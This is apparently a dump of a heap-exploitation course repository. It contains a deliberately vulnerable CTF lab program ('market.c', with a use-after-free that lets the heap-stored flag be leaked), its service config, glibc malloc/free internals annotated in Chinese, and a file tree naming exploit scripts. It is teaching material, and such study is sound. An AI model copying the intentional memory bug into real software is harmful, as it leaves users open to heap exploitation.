================================================
FILE: 2021/week2/lab/market/share/Makefile
================================================
all:
	gcc -g -o market market.c

================================================
FILE: 2021/week2/lab/market/share/flag
================================================
FLAG{test}

================================================
FILE: 2021/week2/lab/market/share/market.c
================================================
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>

ssize_t safe_read(int fd, void *ptr, size_t count)
{
    int nread = 0;
    nread = read(fd, ptr, count);
    if (nread <= 0)
        exit(1);
    return nread;
}

void readstr(char *ptr, unsigned cnt)
{
    int nread = 0;
    nread = safe_read(0, ptr, cnt + 1);
    ptr[nread - 1] = '\0';
}

unsigned long readu64()
{
    char str[0x20] = {0};
    readstr(str, 0x10);
    return strtoul(str, NULL, 10);
}

typedef struct _User {
    char name[0x8];
    char *secret;
} User;

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    User *admin = malloc(sizeof(User));
    User *you = NULL;

    strcpy(admin->name, "admin");

    admin->secret = malloc(0x30);
    int fd = open("/home/market/flag", O_RDONLY);
    read(fd, admin->secret, 0x30);
    close(fd);

    char buf[0x10] = {0};
    int nr = 0;
    printf("Do you need the admin ?\n> ");
    nr = read(0, buf, 0x4);
    if (buf[0] == 'n') {
        puts("Sad :(");
        free(admin);
        free(admin->secret);
        admin = NULL;
    }

    you = malloc(sizeof(User));
    printf("What's your name ?\n> ");
    read(0, you->name, 0x7);

    unsigned long size = 0;
    printf("How long is your secret ?\n> ");
    size = readu64();
    you->secret = malloc(size);

    printf("What's your secret ?\n> ");
    read(0, you->secret, size);

    unsigned long opt = 0;
    while (1)
    {
        puts("1. new name");
        puts("2. show secret");
        puts("3. steal the secret of admin");
        puts("4. new secret");
        printf("> ");
        opt = readu64();

        if (opt == 1) {
            printf("What's your new name ?\n> ");
            read(0, you->name, 0x7);
        } else if (opt == 2) {
            printf("Your secret: %s\n", you->secret);
        } else if (opt == 3) {
            if (!admin) {
                puts("no admin");
            } else {
                puts("you has been killed by admin");
                exit(1);
            }
        } else if (opt == 4) {
            free(you->secret);
            printf("How long is your secret ?\n> ");
            size = readu64();
            you->secret = malloc(size);

            printf("What's your secret ?\n> ");
            read(0, you->secret, size);
        } else {
            puts("bye ~");
            break;
        }
    }

    return 0;
}


================================================
FILE: 2021/week2/lab/market/share/run.sh
================================================
#!/bin/sh

exec 2>/dev/null
timeout 60 /home/market/market

================================================
FILE: 2021/week2/lab/market/xinetd
================================================
service market
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/market/run.sh
    user = market
    port = 30209
    flags = REUSE
    bind = 0.0.0.0
    wait = no
}

================================================
FILE: 2021/week2/src_review/free_internal.c
================================================
// disable squiggles first
#define USE_TCACHE 1

// ANCHOR 1. __libc_free(): free 的進入點
void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  // 如果 __free_hook 有定義的話,就會以 __free_hook 為 function pointer 去呼叫
  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }
  // free NULL 會直接回傳
  if (mem == 0)
    return;
  // chunk2mem(): input 為 chunk 的起頭,output 為使用者拿到的 chunk
  // mem2chunk(): input 為使用者拿到的 chunk,output 為 chunk 的起頭
  p = mem2chunk (mem);

  // ! 如果 chunk 是透過 mmap() 產生的,則會使用 unmap 來釋放
  if (chunk_is_mmapped (p))
    {
      ...
      munmap_chunk (p);
      return;
    }
  // 通常在 malloc 時會已經初始化完 tcache
  MAYBE_INIT_TCACHE ();
  // 檢查 chunk 的 NON_MAIN_ARENA bit,如果是 unset,則回傳 main_arena
  // 否則回傳 chunk 所屬的 heap 其對應到的 arena
  ar_ptr = arena_for_chunk (p);
  // ! _int_free 用來處理釋放記憶體的操作
  _int_free (ar_ptr, p, 0);
}

// ANCHOR 2 _int_free(): ptmalloc 記憶體釋放的核心機制
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */

  // 取得 chunk size
  size = chunksize (p);

  // chunk pointer 需要 aligned,也不會在 address space 的結尾
  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr ("free(): invalid pointer");
  // chunk 至少要大於 MINSIZE (0x20) 並且對其 MALLOC_ALIGNMENT (0x10)
  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    malloc_printerr ("free(): invalid size");

  // ! ---------------------- 第一、tcache ----------------------
  {
    size_t tc_idx = csize2tidx (size); // 取得 chunk size 對應到的 tcache idx
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
		// 檢查 chunk 是否已經存在於 tcache 當中
		tcache_entry *e = (tcache_entry *) chunk2mem (p);

		// 將此 chunk 視為 tcache entry 的話,對應 key 的位置極少可能是 tcache 的位址
		// 所以條件滿足的話要進行額外的檢查
		if (__glibc_unlikely (e->key == tcache))
		{
			tcache_entry *tmp;
			// traverse 此 tcache bin 每個 entry,看是否有與要釋放的 chunk 相同
			for (tmp = tcache->entries[tc_idx];
			tmp;
			tmp = tmp->next)
			if (tmp == e)
			malloc_printerr ("free(): double free detected in tcache 2");
		}

		// 如果對應的 tcache bin 還沒滿,就放到當中並 return
		if (tcache->counts[tc_idx] < mp_.tcache_count)
		{
			tcache_put (p, tc_idx);
			return;
	  }
      }
  }
  // ! ---------------------- 第二、fastbin ----------------------
	// 若 chunk size 在 fastbin 的範圍中
  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())) {
	// 檢查下個 chunk 的大小是否在合法範圍內
    if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
			  <= 2 * SIZE_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			     >= av->system_mem, 0))
	{
		bool fail = true;
		if (fail)
		malloc_printerr ("free(): invalid next size (fast)");
	}

    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

    atomic_store_relaxed (&av->have_fastchunks, true);
    unsigned int idx = fastbin_index(size); // 取得對應大小的 fastbin idx
    fb = &fastbin (av, idx); // 取得對應 idx 的 fastbin 位址

    // old 為 fastbin 中的第一個 chunk
    mchunkptr old = *fb, old2;

    if (SINGLE_THREAD_P)
      {
		// 如果即將被釋放的 chunk == fastbin 的第一個 chunk,則發生 double free
		if (__builtin_expect (old == p, 0))
			malloc_printerr ("double free or corruption (fasttop)");
			p->fd = old;
			*fb = p;
      }
	  else
	  {
		  // multithread case
		  ...
	  }
  }

  // 如果 chunk 並非使用 mmap() 所建立
  else if (!chunk_is_mmapped(p)) {
	// ! ---------------------- 第三、unsorted bin ----------------------
    /* If we're single-threaded, don't lock the arena.  */
    if (SINGLE_THREAD_P)
      have_lock = true;

	// 取得下個相鄰 chunk 的位址
    nextchunk = chunk_at_offset(p, size);

	// 要釋放的 chunk 為 top chunk
    if (__glibc_unlikely (p == av->top))
      malloc_printerr ("double free or corruption (top)");
	// 要下個 chunk 的位址已經超過 boundaries
    if (__builtin_expect (contiguous (av)
			  && (char *) nextchunk
			  >= ((char *) av->top + chunksize(av->top)), 0))
	malloc_printerr ("double free or corruption (out)");
	// 要釋放的 chunk 已經被下個 chunk mark 成沒在使用 (prev_inuse == 0)
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
      malloc_printerr ("double free or corruption (!prev)");

	// 取得下個相鄰 chunk 的大小
    nextsize = chunksize(nextchunk);
    if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0)
	|| __builtin_expect (nextsize >= av->system_mem, 0))
	  // 下個 chunk 的大小不合法
      malloc_printerr ("free(): invalid next size (normal)");

    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

	// 上個相鄰 chunk 沒在使用,將他們合併
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

	// 下個相鄰 chunk 若不是 top chunk
    if (nextchunk != av->top) {
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
      // 如果下下個 chunk 的 prev_inuse == 0,代表下個 chunk 沒在用,
	  // 就 consolidate 下個 chunk
      if (!nextinuse) {
		unlink_chunk (av, nextchunk);
		size += nextsize;
      } else
	clear_inuse_bit_at_offset(nextchunk, 0);

	  // 將 chunk 放到 unsorted bin 當中
      bck = unsorted_chunks(av);
      fwd = bck->fd;
      if (__glibc_unlikely (fwd->bk != bck))
		malloc_printerr ("free(): corrupted unsorted chunks");
      p->fd = fwd;
      p->bk = bck;
      if (!in_smallbin_range(size))
	{
	  p->fd_nextsize = NULL;
	  p->bk_nextsize = NULL;
	}
	  // 更新 fd 與 bk
      bck->fd = p;
      fwd->bk = p;

      set_head(p, size | PREV_INUSE);
      set_foot(p, size);

      check_free_chunk(av, p);
    }
	// 下個相鄰 chunk 是 top chunk,直接與 top chunk 合併
    else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av->top = p;
      check_chunk(av, p);
    }

    // FASTBIN_CONSOLIDATION_THRESHOLD == 65536
	// 當釋放掉的 chunk 大小超過 65536 (0x10000),會 trigger malloc_consolidate()
	// 合併掉 fastbin 內的 chunk 來減少 fragmentation
    if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
      ...
	    malloc_consolidate(av);
    }

	// trim memory 的操作
      if (av == &main_arena) { ... /* single thread case */ }
	  else { ... /* multithread case */ }
  }
  // ! 如果 chunk 用 mmap() 建立,則用 munmap 來釋放
  else {
    munmap_chunk (p);
  }
}

// ANCHOR 3. tcache_put(): 釋放 chunk 至 tcache
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  // 將 key member 設為 tcache,藉此來偵測 double free
  e->key = tcache;
  // 更新指向下一個的 chunk
  e->next = tcache->entries[tc_idx];
  // 更新 tcache_perthread_struct 指向的第一個 chunk
  tcache->entries[tc_idx] = e;
  // counter++
  ++(tcache->counts[tc_idx]);
}

// ANCHOR 4. malloc_consolidate(): glibc 用於減少 fragmentation 的合併機制,與 free() 內部的實作類似,但是主要用來處理 fastbin
static void malloc_consolidate(mstate av)
{
  mfastbinptr*    fb;                 /* current fastbin being consolidated */
  mfastbinptr*    maxfb;              /* last fastbin (for loop control) */
  mchunkptr       p;                  /* current chunk being consolidated */
  mchunkptr       nextp;              /* next chunk to consolidate */
  mchunkptr       unsorted_bin;       /* bin header */
  mchunkptr       first_unsorted;     /* chunk to link to */

  /* These have same use as in free() */
  mchunkptr       nextchunk;
  INTERNAL_SIZE_T size;
  INTERNAL_SIZE_T nextsize;
  INTERNAL_SIZE_T prevsize;
  int             nextinuse;

  atomic_store_relaxed (&av->have_fastchunks, false);

  unsorted_bin = unsorted_chunks(av);

  // 合併 fastbin 當中的 chunk,並且將合併後的 chunk 放入 unsorted bin 當中

  maxfb = &fastbin (av, NFASTBINS - 1); // 取得 fastbin 最大的 index
  fb = &fastbin (av, 0); // 取得 &main.fastbinsY
  do {
    p = atomic_exchange_acq (fb, NULL);
    if (p != 0) {
      do {

	{
	  unsigned int idx = fastbin_index (chunksize (p));
	  if ((&fastbin (av, idx)) != fb)
	    malloc_printerr ("malloc_consolidate(): invalid chunk size");
	}

	nextp = p->fd; // 取得下一塊 chunk

  // ! ------- 先往上個 merge -------
	size = chunksize (p); // chunk szie
	nextchunk = chunk_at_offset(p, size); // 下一個 chunk 的位址
	nextsize = chunksize(nextchunk); // 下一個 chunk 的 chunk size

	if (!prev_inuse(p)) { // 如果 chunk 的 prev_inuse 沒設,代表上一塊沒有用
	  prevsize = prev_size (p); // 取得上塊的大小
	  size += prevsize;
	  p = chunk_at_offset(p, -((long) prevsize)); // 取得上一塊 chunk 的位址
	  // 檢查上塊 chunk size 是否與紀錄的 size 相同
	  if (__glibc_unlikely (chunksize(p) != prevsize))
	    malloc_printerr ("corrupted size vs. prev_size in fastbins");
	  // 將上個 chunk 從原本所屬的 bin 取出
	  unlink_chunk (av, p);
	}

  // ! ------- 再往下個 merge -------
	if (nextchunk != av->top /* 下個不是 top chunk,也就是並非最後一塊 chunk */) {
	  nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

	  // 如果下一塊沒在用
	  if (!nextinuse) {
	    size += nextsize;
	  // 將下個 chunk 從原本所屬的 bin 取出
	    unlink_chunk (av, nextchunk);
	  } else
	    clear_inuse_bit_at_offset(nextchunk, 0); // unset 下一塊 chunk 的 prev_inuse

      // unsorted 的第一塊
	  first_unsorted = unsorted_bin->fd;
	  unsorted_bin->fd = p; // 更新 unsorted bin 的第一塊
	  first_unsorted->bk = p; // 原本的第一塊,變成第二塊

	  // 如果並非在 smallbin 的範圍,則清除殘留的 fd_nextsize 與 bk_nextsize
	  if (!in_smallbin_range (size)) {
	    p->fd_nextsize = NULL;
	    p->bk_nextsize = NULL;
	  }

	  // 放入 unsorted bin 當中
	  set_head(p, size | PREV_INUSE);
	  p->bk = unsorted_bin;
	  p->fd = first_unsorted;
	  set_foot(p, size);
	}

	else { // 由於下一塊為 top chunk,會直接被 merge 到 top chunk 當中
	  size += nextsize;
	  set_head(p, size | PREV_INUSE);
	  av->top = p;
	}

      } while ( (p = nextp) != 0); // update 要檢查的下個 chunk,即是 chk->fd

    }
  } while (fb++ != maxfb); // traverse 所有 fastbin
}

================================================
FILE: 2021/week2/src_review/malloc_internal.c
================================================
// disable squiggles first
#define USE_TCACHE 1

// ANCHOR 1. __libc_malloc(): malloc 的進入點
void *
__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim; // victim 會指向要被回傳的 chunk

  // ! 初始化 heap
  // 如果 __malloc_hook 有定義的話,就會以 __malloc_hook 為 function pointer 去呼叫
  // 一開始的 __malloc_hook 會存放用來初始化 heap 的 function "ptmalloc_init()"
  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook);
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0));
#if USE_TCACHE // 預設會是 true
  size_t tbytes;
  // 會將 malloc size 做 alignment 後轉成 chunk size 存於 tbytes
  if (!checked_request2size (bytes, &tbytes))
    {
      __set_errno (ENOMEM);
      return NULL;
    }
  size_t tc_idx = csize2tidx (tbytes);
  // ! 初始化 tcache
  // 如果 tcache_perthread_struct 的結構還沒有被建立,則會呼叫 tcache_init(),
  // tcache_init() 會去請求 chunk size 為 0x290 的 chunk 給 tcache_perthread_struct,
  // 並將 tcache 的位址存放於 thread local storage 當中
  MAYBE_INIT_TCACHE ();

  // ! ---------------------- 第一、tcache ----------------------
  // 如果 tcache 對應的 index 內有 chunk 可以用 (tcache->counts[tc_idx] > 0),
  // 就會透過 tcache_get() 取得 chunk 並回傳給使用者
  if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0)
    {
      return tcache_get (tc_idx);
    }
#endif

  if (SINGLE_THREAD_P) // 如果是 single thread
    {
      // ! 呼叫 malloc 的核心 function
      // 使用 _int_malloc (internal malloc) 從 main_arena 內儲存的資訊取出
      // chunk 回傳給使用者
      victim = _int_malloc (&main_arena, bytes);
      // 檢查 chunk: (不是 NULL || chunk 用 mmap 所建立 || main_arena 為 chunk 的 arena)
      // mem2chunk(): input 為使用者拿到的 chunk,output 為 chunk 的起頭
      // chunk2mem(): input 為 chunk 的起頭,output 為使用者拿到的 chunk
      assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
	      &main_arena == arena_for_chunk (mem2chunk (victim)));
      return victim;
    }

  // 下面的程式碼為 multit-hread 時才會使用到
  ...
}

// ANCHOR 2. tcache_get(): 從 tcache 中取得 chunk
static __always_inline void *
tcache_get (size_t tc_idx)
{
  // 從 tcache_perthread_struct 取出對應 index 的第一個 chunk
  tcache_entry *e = tcache->entries[tc_idx];
  // 更新對應 index 的第一個 chunk
  tcache->entries[tc_idx] = e->next;
  // counter--
  --(tcache->counts[tc_idx]);
  // 清除 key 來避免殘留 heap 位址
  e->key = NULL;
  return (void *) e;
}

// ANCHOR 3. _int_malloc(): ptmalloc 記憶體分配的核心機制
static void *
_int_malloc (mstate av, size_t bytes)
{
  INTERNAL_SIZE_T nb;               /* normalized request size */
  unsigned int idx;                 /* associated bin index */
  mbinptr bin;                      /* associated bin */

  mchunkptr victim;                 /* inspected/selected chunk */
  INTERNAL_SIZE_T size;             /* its size */
  int victim_index;                 /* its bin index */

  mchunkptr remainder;              /* remainder from a split */
  unsigned long remainder_size;     /* its size */

  unsigned int block;               /* bit map traverser */
  unsigned int bit;                 /* bit map traverser */
  unsigned int map;                 /* current word of binmap */

  mchunkptr fwd;                    /* misc temp for linking */
  mchunkptr bck;                    /* misc temp for linking */

#if USE_TCACHE
  size_t tcache_unsorted_count;	    /* count of unsorted chunks processed */
#endif

  // ! 將 malloc size 轉為 chunk size
  // 會將 malloc size 做 alignment 後轉成 chunk size 存於 nb
  if (!checked_request2size (bytes, &nb))
    {
      __set_errno (ENOMEM);
      return NULL;
    }

  // arena 為空,呼叫 sysmalloc() 來得到用 mmap() 產生的 chunk
  if (__glibc_unlikely (av == NULL))
    {
      void *p = sysmalloc (nb, av);
      if (p != NULL)
	alloc_perturb (p, bytes);
      return p;
    }

  // ! ---------------------- 第二、fastbin ----------------------
  // 首先檢查 chunk size <= get_max_fast(),也就是 0x80
  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb); // 取得 chunk size 在 fastbin 內的 idx
      // 取得 &main_arena.fastbinsY[idx]
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp;
      victim = *fb; // 要回傳的即是指向的第一塊 chunk

      if (victim != NULL)
	{
	  if (SINGLE_THREAD_P)
	    *fb = victim->fd; // 更新第一塊 chunk
	  
	  if (__glibc_likely (victim != NULL))
	    {
        // 取得 chunk 結構紀錄的 size 所對應到的 idx
        // 比較是否與 chunk size 對應到的 idx 相同
        // 即為:如果回傳的 chunk 的大小不該屬於此 fastbin,則被判斷為 corrupt
	      size_t victim_idx = fastbin_index (chunksize (victim));
	      if (__builtin_expect (victim_idx != idx, 0))
		malloc_printerr ("malloc(): memory corruption (fast)");
	      check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
	      // 此機制稱 tcache stash
        // 如果 fastbin 還有剩 chunk,就會嘗試把這些 chunk 放到 tcache 當中
	      size_t tc_idx = csize2tidx (nb);
	      if (tcache && tc_idx < mp_.tcache_bins
          /* mp 為 malloc parameter,記錄一些 metadata */)
		{
		  mchunkptr tc_victim;

		  // 當 (fastbin 還有 chunk && tcache 還沒滿)
		  while (tcache->counts[tc_idx] < mp_.tcache_count
			 && (tc_victim = *fb) != NULL)
		    {
		      if (SINGLE_THREAD_P)
			    *fb = tc_victim->fd;
              // 放入 tcache 當中
		      tcache_put (tc_victim, tc_idx);
		    }
		} // 可以發現 fastbin chunk 會以 reverse order 放入 tcache
          // 原本在 fastbin 的第一塊 chunk,在經過 tcache stash 後會變成
          // 這些 fastbin chunk 中的最後一塊
#endif
          // 轉成回傳給使用者 mem ptr
	      void *p = chunk2mem (victim);
	      alloc_perturb (p, bytes);
	      return p;
	    }
	}
    }

  // ! ---------------------- 第三、smallbin ----------------------
  // 如果 chunk 落於 smallbin 的大小當中,也就是 0x20 ~ 0x3f0
  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb); // 取得 smallbin 對應到的 index
      bin = bin_at (av, idx); // 取得 main_arena 中對應 index 的 smallbin 位址

      // last(chk) 會得到 chk->bk
      // first(chk) 會得到 chk->fd
      // condition 為 chk->bk != chk,而在初始化時 smallbin 會將 fd 與 bk 設為自己,
      // 也就是這個 condition 檢查此 index 的 smallbin 是否為空
      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
      // chk->bk->fd 應該要指向自己,才會是正常的 double linked list
	  if (__glibc_unlikely (bck->fd != victim))
	    malloc_printerr ("malloc(): smallbin double linked list corrupted");
          // set 下一塊的 chunk 的 prev_inuse bit 
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck; // 更新 chk->bk 為該 idx 的 smallbin 的第一塊 chunk
          bck->fd = bin; // 更新 chk->bk->fd 原先指向 chk,更新成 smallbin

          if (av != &main_arena)
	    set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
	  // 此機制稱 smallbin stash,與 tcache stash 相同
    // 如果 smallbin 還有剩 chunk,就會嘗試把這些 chunk 放到 tcache 當中
	  size_t tc_idx = csize2tidx (nb);
	  if (tcache && tc_idx < mp_.tcache_bins)
	    {
	      mchunkptr tc_victim;

	      while (tcache->counts[tc_idx] < mp_.tcache_count
		     && (tc_victim = last (bin)) != bin)
		{
		  if (tc_victim != 0)
		    {
		      bck = tc_victim->bk;
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			    set_non_main_arena (tc_victim);
		      bin->bk = bck;
		      bck->fd = bin;

		      tcache_put (tc_victim, tc_idx);
	        }
		}
	    }
#endif
          // 轉成回傳給使用者 mem ptr
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }
  else
    {
      // 如果 chunk size 不在 tcache, fastbin, smallbin 的範圍
      // trigger malloc_consolidate 的機制,減少 fragmentation 的問題
      idx = largebin_index (nb);
      if (atomic_load_relaxed (&av->have_fastchunks))
        malloc_consolidate (av);
    }

#if USE_TCACHE
  INTERNAL_SIZE_T tcache_nb = 0;
  size_t tc_idx = csize2tidx (nb); // 取得對應大小的 tcache idx  
  if (tcache && tc_idx < mp_.tcache_bins)
    tcache_nb = nb;
  int return_cached = 0;

  tcache_unsorted_count = 0;
#endif

  for (;; )
    {
      int iters = 0;
      // ! ---------------------- 第四、unsorted bin ----------------------
      // 以 bk 來 traverse 所有 unsorted bin chunk
      // 清空 unsorted bin,把 chunk 放到對應的 bin 當中
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk; // bck 為 unsorted bin 下個 chunk
          size = chunksize (victim); // 當前 chunk 的大小
          mchunkptr next = chunk_at_offset (victim, size); // 下個相鄰的 chunk

          // 一系列的檢查
          if (__glibc_unlikely (size <= 2 * SIZE_SZ)
              || __glibc_unlikely (size > av->system_mem))
            // chunk size 是否合法
            malloc_printerr ("malloc(): invalid size (unsorted)");
          if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
              || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
            // next chunk size 不合法
            malloc_printerr ("malloc(): invalid next size (unsorted)");
          if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
            // next chunk 的 prev_size 不等於 chunk size
            malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
          if (__glibc_unlikely (bck->fd != victim)
              || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
            // 當 (bck->fd (victim->bk->fd) != victim ||
            // victim->fd 沒有指向 main_arena 中存放 unsorted bin 的位址) 時不合法
            malloc_printerr ("malloc(): unsorted double linked list corrupted");
          if (__glibc_unlikely (prev_inuse (next)))
            // next chunk 的 prev_inuse 設起但是當前 chunk 存在於 unsorted bin (freed)
            malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
          
          // 請求大小屬於 smallbin 的範圍,並且 unsorted bin 的第一個 chunk 就是 last_remainder
          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
              // 這邊加上 MINSIZE 的關係為,在從 unsorted chunk 切後,剩下的 chunk size
              // 應該要能符合最小塊 chunk 的大小 (0x20)
            {
              // 切出符合大小的 chunk 後,更新 last_remainder
              remainder_size = size - nb;
              remainder = chunk_at_offset (victim, nb);
              // unsortedbin 的 fd 與 bk 更新成指向 remainder
              unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
              av->last_remainder = remainder;
              // remainder 的 fd 與 bk 更新成指向 unsortedbin
              remainder->bk = remainder->fd = unsorted_chunks (av);
              if (!in_smallbin_range (remainder_size))
                {
                  remainder->fd_nextsize = NULL;
                  remainder->bk_nextsize = NULL;
                }

              set_head (victim, nb | PREV_INUSE |
                        (av != &main_arena ? NON_MAIN_ARENA : 0));
              set_head (remainder, remainder_size | PREV_INUSE);
              set_foot (remainder, remainder_size);

              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }

          // 從 unsorted bin 當中移除 victim
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

          // 第一塊 chunk 的 size 剛好符合 request size
          if (size == nb)
          {
            set_inuse_bit_at_offset (victim, size); // 設為 inuse
            // 如果 tcache 還沒滿,就優先填滿 tcache
            if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count)
            {
              tcache_put (victim, tc_idx);
              return_cached = 1;
              continue;
            }
            else // tcache 滿了,就直接回傳
            {
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
          }

          // 如果為 smallbin 的大小,放入 smallbin
          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else
            {
              // 如果為 largebin 的大小,放入 largebin
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              // 當 largebin 不只有一個 chunk,在 insert 到 largebin 時處理排序
              if (fwd != bck)
                {
                  ...
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

          // 統一處理 smallbin 與 largebin 更新 fd, bk pointer 的操作
          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

          // 若在同一輪處理太多 chunk,並且在過程中有放入 chunk 到 tcache 內 (return_cached == 1)
          // 則直接從 tcache 取得一個 chunk 回傳
          ++tcache_unsorted_count;
          if (return_cached
            && mp_.tcache_unsorted_limit > 0
            && tcache_unsorted_count > mp_.tcache_unsorted_limit)
          {
            return tcache_get (tc_idx);
          }

#define MAX_ITERS       10000
          if (++iters >= MAX_ITERS) // 做太多次就 break
            break;
        }

        // 過程中有將相同大小的 chunk 放入 tcache 的話,直接回傳一個
        if (return_cached)
        {
          return tcache_get (tc_idx);
        }

      // ! ---------------------- 第五、large bin ----------------------
      // 如果大小不屬於 smallbin 的範圍,屬於 smallbin 的已經在 "第三、smallbin" 處理完了
      if (!in_smallbin_range (nb))
        {
          bin = bin_at (av, idx); // 取得對應 idx 的 largebin 位址

          // largebin 要不為空,並且最大塊的大小要大於 request size
          if ((victim = first (bin)) != bin
              && (unsigned long) chunksize_nomask (victim)
              >= (unsigned long) (nb))
            {
              // 省略處理 large bin 的過程
              // 會找 best fit 的 largebin chunk 回傳給使用者
              ...
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }

      // 當符合 request size 的 largebin 沒有 chunk 可以用,
      // 會開始往後面的 largebin 開始找
      ++idx;
      bin = bin_at (av, idx);
      block = idx2block (idx);
      map = av->binmap[block];
      bit = idx2bit (idx);

      // traverse all largebin
      for (;; )
        {
          // 省略處理 large bin 的過程
          ...
          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }

    // ! 當所有 bin 都沒有可以使用的 chunk,則從 top chunk 開始切
    use_top:
      victim = av->top;
      size = chunksize (victim);

      if 
Download .txt
gitextract_ilxhtbq2/

├── .gitignore
├── 2021/
│   ├── README.md
│   ├── eof-final/
│   │   ├── exp/
│   │   │   ├── logger.py
│   │   │   ├── sugar.py
│   │   │   └── two-gadget.py
│   │   ├── logger/
│   │   │   ├── Dockerfile
│   │   │   ├── docker-compose.yml
│   │   │   ├── share/
│   │   │   │   ├── Makefile
│   │   │   │   ├── flag
│   │   │   │   ├── logger
│   │   │   │   ├── logger.c
│   │   │   │   └── run.sh
│   │   │   └── xinetd
│   │   ├── sugar/
│   │   │   ├── Dockerfile
│   │   │   ├── docker-compose.yml
│   │   │   ├── share/
│   │   │   │   ├── Makefile
│   │   │   │   ├── flag
│   │   │   │   ├── run.sh
│   │   │   │   ├── sugar
│   │   │   │   └── sugar.c
│   │   │   └── xinetd
│   │   └── two-gadget/
│   │       ├── Dockerfile
│   │       ├── docker-compose.yml
│   │       ├── share/
│   │       │   ├── Makefile
│   │       │   ├── flag
│   │       │   ├── run.sh
│   │       │   ├── two-gadget
│   │       │   └── two-gadget.c
│   │       └── xinetd
│   ├── eof-qual/
│   │   ├── fullchain-buff/
│   │   │   └── README.md
│   │   ├── hello-world/
│   │   │   └── README.md
│   │   └── myfs/
│   │       └── README.md
│   ├── quals/
│   │   ├── exp/
│   │   │   ├── fullchain-buff.py
│   │   │   ├── hello-world.py
│   │   │   ├── myfs-fuzz.py
│   │   │   └── myfs.py
│   │   ├── fullchain-buff/
│   │   │   ├── Dockerfile
│   │   │   ├── docker-compose.yml
│   │   │   ├── share/
│   │   │   │   ├── Makefile
│   │   │   │   ├── flag
│   │   │   │   ├── fullchain-buff
